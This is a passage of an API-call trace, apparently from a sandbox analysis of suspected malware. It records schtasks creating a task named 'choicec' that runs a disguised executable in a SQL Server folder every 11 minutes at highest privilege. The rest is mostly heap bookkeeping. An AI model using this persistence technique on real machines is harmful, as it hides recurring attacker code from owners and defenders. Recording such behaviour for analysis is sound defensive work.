(lpString="mm/dd/yyyy") returned 10 [0065.056] GetProcessHeap () returned 0x330000 [0065.056] GetProcessHeap () returned 0x330000 [0065.056] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d760) returned 1 [0065.056] GetProcessHeap () returned 0x330000 [0065.056] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d760) returned 0xc [0065.056] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d760 | out: hHeap=0x330000) returned 1 [0065.056] GetProcessHeap () returned 0x330000 [0065.056] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x16) returned 0x34d760 [0065.056] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c700, cchData=128 | out: lpLCData="0") returned 2 [0065.056] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.056] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0065.056] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0065.056] GetProcessHeap () returned 0x330000 [0065.057] GetProcessHeap () returned 0x330000 [0065.057] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d780) returned 1 [0065.057] GetProcessHeap () returned 0x330000 [0065.057] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d780) returned 0xe [0065.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d780 | out: hHeap=0x330000) returned 1 [0065.057] GetProcessHeap () returned 0x330000 [0065.057] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x16) returned 0x34d780 [0065.057] GetLocalTime (in: lpSystemTime=0x19c930 | out: lpSystemTime=0x19c930*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x31, wMilliseconds=0x258)) [0065.057] lstrlenW (lpString="") returned 0 [0065.057] GetLocalTime (in: lpSystemTime=0x19d1e8 | out: lpSystemTime=0x19d1e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x31, wMilliseconds=0x258)) [0065.057] lstrlenW (lpString="") returned 0 [0065.057] lstrlenW (lpString="") returned 0 [0065.057] lstrlenW (lpString="") returned 0 [0065.057] lstrlenW (lpString="") returned 0 [0065.057] lstrlenW (lpString="11") returned 2 [0065.057] _wtol (_String="11") returned 11 [0065.057] lstrlenW (lpString="") returned 0 [0065.057] lstrlenW (lpString="") returned 0 [0065.058] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0065.109] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0065.247] CoCreateInstance (in: rclsid=0xffe11ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffe11ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19cfb0 | out: ppv=0x19cfb0*=0x1adee0) returned 0x0 [0065.257] TaskScheduler:ITaskService:Connect (This=0x1adee0, serverName=0x19d090*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19d070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0065.265] TaskScheduler:IUnknown:AddRef (This=0x1adee0) returned 0x2 [0065.265] TaskScheduler:ITaskService:GetFolder (in: This=0x1adee0, Path=0x0, ppFolder=0x19d148 | out: ppFolder=0x19d148*=0xe7e40) returned 0x0 [0065.269] TaskScheduler:ITaskService:NewTask (in: This=0x1adee0, flags=0x0, ppDefinition=0x19d140 | out: ppDefinition=0x19d140*=0xe7e90) returned 0x0 [0065.270] ITaskDefinition:get_Actions (in: This=0xe7e90, ppActions=0x19d0c0 | out: ppActions=0x19d0c0*=0xe7f50) returned 0x0 [0065.270] IActionCollection:Create (in: This=0xe7f50, Type=0, ppAction=0x19d0e0 | out: ppAction=0x19d0e0*=0xe67a0) returned 0x0 [0065.270] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0065.270] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0065.270] lstrlenW (lpString=" ") returned 1 [0065.270] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0065.270] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0065.270] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0065.270] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0065.270] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0065.270] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0065.271] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0065.271] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0065.271] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x51) returned 0x0 [0065.271] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0065.272] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0065.272] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0065.272] IUnknown:Release (This=0xe67a0) returned 0x1 [0065.272] IUnknown:Release (This=0xe7f50) returned 0x1 [0065.273] ITaskDefinition:get_Triggers (in: This=0xe7e90, ppTriggers=0x19cc40 | out: ppTriggers=0x19cc40*=0xe6510) returned 0x0 [0065.273] ITriggerCollection:Create (in: This=0xe6510, Type=1, ppTrigger=0x19cc38 | out: ppTrigger=0x19cc38*=0xe6810) returned 0x0 [0065.273] lstrlenW (lpString="11") returned 2 [0065.273] _vsnwprintf (in: _Buffer=0x19cbc0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x19cbb8 | out: _Buffer="PT11M") returned 5 [0065.273] ITrigger:get_Repetition (in: This=0xe6810, ppRepeat=0x19cc30 | out: ppRepeat=0x19cc30*=0xe68a0) returned 0x0 [0065.273] IRepetitionPattern:put_Interval (This=0xe68a0, Interval="PT11M") returned 0x0 [0065.273] IUnknown:Release (This=0xe68a0) returned 0x1 [0065.273] _vsnwprintf (in: _Buffer=0x19cb80, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19cb58 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0065.273] ITrigger:put_StartBoundary (This=0xe6810, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0065.273] lstrlenW (lpString="") returned 0 [0065.273] lstrlenW (lpString="") returned 0 [0065.274] lstrlenW (lpString="") returned 0 [0065.274] lstrlenW (lpString="") returned 0 [0065.274] IUnknown:Release (This=0xe6810) returned 0x1 [0065.274] IUnknown:Release (This=0xe6510) returned 0x1 [0065.274] ITaskDefinition:get_Settings (in: This=0xe7e90, ppSettings=0x19d0e0 | out: ppSettings=0x19d0e0*=0xe6580) returned 0x0 [0065.274] lstrlenW (lpString="") returned 0 [0065.274] IUnknown:Release (This=0xe6580) returned 0x1 [0065.274] GetLocalTime (in: lpSystemTime=0x19cf98 | out: lpSystemTime=0x19cf98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x31, wMilliseconds=0x332)) [0065.274] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0065.274] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0065.274] GetUserNameW (in: lpBuffer=0x19cfc0, pcbBuffer=0x19cfa8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19cfa8) returned 1 [0065.275] ITaskDefinition:get_RegistrationInfo (in: This=0xe7e90, ppRegistrationInfo=0x19cf90 | out: ppRegistrationInfo=0x19cf90*=0xe6450) returned 0x0 [0065.275] IRegistrationInfo:put_Author (This=0xe6450, Author="") returned 0x0 [0065.275] _vsnwprintf (in: _Buffer=0x19cfc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19cf58 | out: _Buffer="2023-09-19T17:16:49") returned 19 [0065.275] IRegistrationInfo:put_Date (This=0xe6450, Date="") returned 0x0 [0065.275] IUnknown:Release (This=0xe6450) returned 0x1 [0065.275] malloc (_Size=0x18) returned 0xe6920 [0065.275] free (_Block=0xe6920) [0065.276] lstrlenW (lpString="") returned 0 [0065.276] ITaskDefinition:get_Principal (in: This=0xe7e90, ppPrincipal=0x19d1b0 | out: ppPrincipal=0x19d1b0*=0xe66f0) returned 0x0 [0065.276] IPrincipal:put_RunLevel (This=0xe66f0, RunLevel=1) returned 0x0 [0065.276] IUnknown:Release (This=0xe66f0) returned 0x1 [0065.276] malloc (_Size=0x18) returned 0xe6920 [0065.276] ITaskFolder:RegisterTaskDefinition (in: This=0xe7e40, Path="choicec", pDefinition=0xe7e90, flags=6, UserId=0x19d230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19f140, varVal2=0xfe), LogonType=3, sddl=0x19d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19d150 | out: ppTask=0x19d150*=0xe6ac0) returned 0x0 [0065.352] free (_Block=0xe6920) [0065.352] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.352] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0065.352] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0065.353] GetProcessHeap () returned 0x330000 [0065.353] GetProcessHeap () returned 0x330000 [0065.353] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d7a0) returned 1 [0065.353] GetProcessHeap () returned 0x330000 [0065.353] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d7a0) returned 0xc [0065.353] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d7a0 | out: hHeap=0x330000) returned 1 [0065.353] GetProcessHeap () returned 0x330000 [0065.353] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x82) returned 0x369e70 [0065.353] _vsnwprintf (in: _Buffer=0x19d890, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19d0f8 | out: _Buffer="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n") returned 69 [0065.353] _fileno (_File=0x7feffe22ab0) returned -2 [0065.353] _errno () returned 0xe4bb0 [0065.353] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0065.353] SetLastError (dwErrCode=0x6) [0065.353] lstrlenW (lpString="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n") returned 69 [0065.353] GetConsoleOutputCP () returned 0x0 [0065.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0065.353] GetConsoleOutputCP () returned 0x0 [0065.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xffe51880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0065.353] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 69 [0065.354] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0065.354] IUnknown:Release (This=0xe6ac0) returned 0x0 [0065.354] TaskScheduler:IUnknown:Release (This=0xe7e90) returned 0x0 [0065.354] TaskScheduler:IUnknown:Release (This=0xe7e40) returned 0x0 [0065.354] TaskScheduler:IUnknown:Release (This=0x1adee0) returned 0x1 [0065.354] lstrlenW (lpString="") returned 0 [0065.354] lstrlenW (lpString="11") returned 2 [0065.354] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0065.354] GetProcessHeap () returned 0x330000 [0065.354] GetProcessHeap () returned 0x330000 [0065.354] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c4f0) returned 1 [0065.354] GetProcessHeap () returned 0x330000 [0065.354] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c4f0) returned 0x1fc [0065.355] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c4f0 | out: hHeap=0x330000) returned 1 [0065.355] GetProcessHeap () returned 0x330000 [0065.355] GetProcessHeap () returned 0x330000 [0065.355] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345590) returned 1 [0065.355] GetProcessHeap () returned 0x330000 [0065.355] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345590) returned 0x6 [0065.355] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345590 | out: hHeap=0x330000) returned 1 [0065.355] GetProcessHeap () returned 0x330000 [0065.355] GetProcessHeap () returned 0x330000 [0065.355] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6c0) returned 1 [0065.355] GetProcessHeap () returned 0x330000 [0065.355] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d6c0) returned 0x16 [0065.356] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6c0 | out: hHeap=0x330000) returned 1 [0065.356] GetProcessHeap () returned 0x330000 [0065.356] GetProcessHeap () returned 0x330000 [0065.356] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6a0) returned 1 [0065.356] GetProcessHeap () returned 0x330000 [0065.356] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d6a0) returned 0x18 [0065.356] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6a0 | out: hHeap=0x330000) returned 1 [0065.356] GetProcessHeap () returned 0x330000 [0065.356] GetProcessHeap () returned 0x330000 [0065.356] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf70) returned 1 [0065.356] GetProcessHeap () returned 0x330000 [0065.356] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cf70) returned 0x20 [0065.356] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf70 | out: hHeap=0x330000) returned 1 [0065.356] GetProcessHeap () returned 0x330000 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c190) returned 1 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c190) returned 0xa0 [0065.357] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c190 | out: hHeap=0x330000) returned 1 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bc10) returned 1 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bc10) returned 0x18 [0065.357] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bc10 | out: hHeap=0x330000) returned 1 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccd0) returned 1 [0065.357] GetProcessHeap () returned 0x330000 [0065.357] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ccd0) returned 0x20 [0065.358] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccd0 | out: hHeap=0x330000) returned 1 [0065.358] GetProcessHeap () returned 0x330000 [0065.358] GetProcessHeap () returned 0x330000 [0065.358] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3f0) returned 1 [0065.358] GetProcessHeap () returned 0x330000 [0065.358] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c3f0) returned 0x88 [0065.358] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3f0 | out: hHeap=0x330000) returned 1 [0065.358] GetProcessHeap () returned 0x330000 [0065.358] GetProcessHeap () returned 0x330000 [0065.358] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6e0) returned 1 [0065.358] GetProcessHeap () returned 0x330000 [0065.358] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d6e0) returned 0x18 [0065.358] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6e0 | out: hHeap=0x330000) returned 1 [0065.358] GetProcessHeap () returned 0x330000 [0065.359] GetProcessHeap () returned 0x330000 [0065.359] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cca0) returned 1 [0065.359] GetProcessHeap () returned 0x330000 [0065.359] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cca0) returned 0x20 [0065.359] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cca0 | out: hHeap=0x330000) returned 1 [0065.359] GetProcessHeap () returned 0x330000 [0065.359] GetProcessHeap () returned 0x330000 [0065.359] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34de50) returned 1 [0065.359] GetProcessHeap () returned 0x330000 [0065.359] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34de50) returned 0x8a [0065.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34de50 | out: hHeap=0x330000) returned 1 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d680) returned 1 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d680) returned 0x18 [0065.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d680 | out: hHeap=0x330000) returned 1 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc70) returned 1 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cc70) returned 0x20 [0065.360] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc70 | out: hHeap=0x330000) returned 1 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c4d0) returned 1 [0065.360] GetProcessHeap () returned 0x330000 [0065.360] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c4d0) returned 0xe [0065.361] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c4d0 | out: hHeap=0x330000) returned 1 [0065.361] GetProcessHeap () returned 0x330000 [0065.361] GetProcessHeap () returned 0x330000 [0065.361] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c4b0) returned 1 [0065.361] GetProcessHeap () returned 0x330000 [0065.361] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c4b0) returned 0x18 [0065.361] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c4b0 | out: hHeap=0x330000) returned 1 [0065.361] GetProcessHeap () returned 0x330000 [0065.361] GetProcessHeap () returned 0x330000 [0065.361] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345ea0) returned 1 [0065.361] GetProcessHeap () returned 0x330000 [0065.361] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345ea0) returned 0x20 [0065.361] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ea0 | out: hHeap=0x330000) returned 1 [0065.361] GetProcessHeap () returned 0x330000 [0065.361] GetProcessHeap () returned 0x330000 [0065.362] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bd90) returned 1 [0065.362] GetProcessHeap () returned 0x330000 [0065.362] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bd90) returned 0x208 [0065.362] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bd90 | out: hHeap=0x330000) returned 1 [0065.362] GetProcessHeap () returned 0x330000 [0065.362] GetProcessHeap () returned 0x330000 [0065.363] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bbf0) returned 1 [0065.363] GetProcessHeap () returned 0x330000 [0065.363] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bbf0) returned 0x18 [0065.363] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bbf0 | out: hHeap=0x330000) returned 1 [0065.363] GetProcessHeap () returned 0x330000 [0065.363] GetProcessHeap () returned 0x330000 [0065.363] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345db0) returned 1 [0065.363] GetProcessHeap () returned 0x330000 [0065.363] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345db0) returned 0x20 [0065.364] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345db0 | out: hHeap=0x330000) returned 1 [0065.364] GetProcessHeap () returned 0x330000 [0065.364] GetProcessHeap () returned 0x330000 [0065.364] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d440) returned 1 [0065.364] GetProcessHeap () returned 0x330000 [0065.364] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d440) returned 0x200 [0065.365] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d440 | out: hHeap=0x330000) returned 1 [0065.365] GetProcessHeap () returned 0x330000 [0065.365] GetProcessHeap () returned 0x330000 [0065.365] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bc30) returned 1 [0065.365] GetProcessHeap () returned 0x330000 [0065.365] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bc30) returned 0x18 [0065.365] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bc30 | out: hHeap=0x330000) returned 1 [0065.365] GetProcessHeap () returned 0x330000 [0065.365] GetProcessHeap () returned 0x330000 [0065.365] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345d20) returned 1 [0065.366] GetProcessHeap () returned 0x330000 [0065.366] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345d20) returned 0x20 [0065.366] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345d20 | out: hHeap=0x330000) returned 1 [0065.366] GetProcessHeap () returned 0x330000 [0065.366] GetProcessHeap () returned 0x330000 [0065.366] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3a0) returned 1 [0065.366] GetProcessHeap () returned 0x330000 [0065.366] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c3a0) returned 0x14 [0065.367] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3a0 | out: hHeap=0x330000) returned 1 [0065.367] GetProcessHeap () returned 0x330000 [0065.367] GetProcessHeap () returned 0x330000 [0065.367] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c380) returned 1 [0065.367] GetProcessHeap () returned 0x330000 [0065.367] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c380) returned 0x18 [0065.367] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c380 | out: hHeap=0x330000) 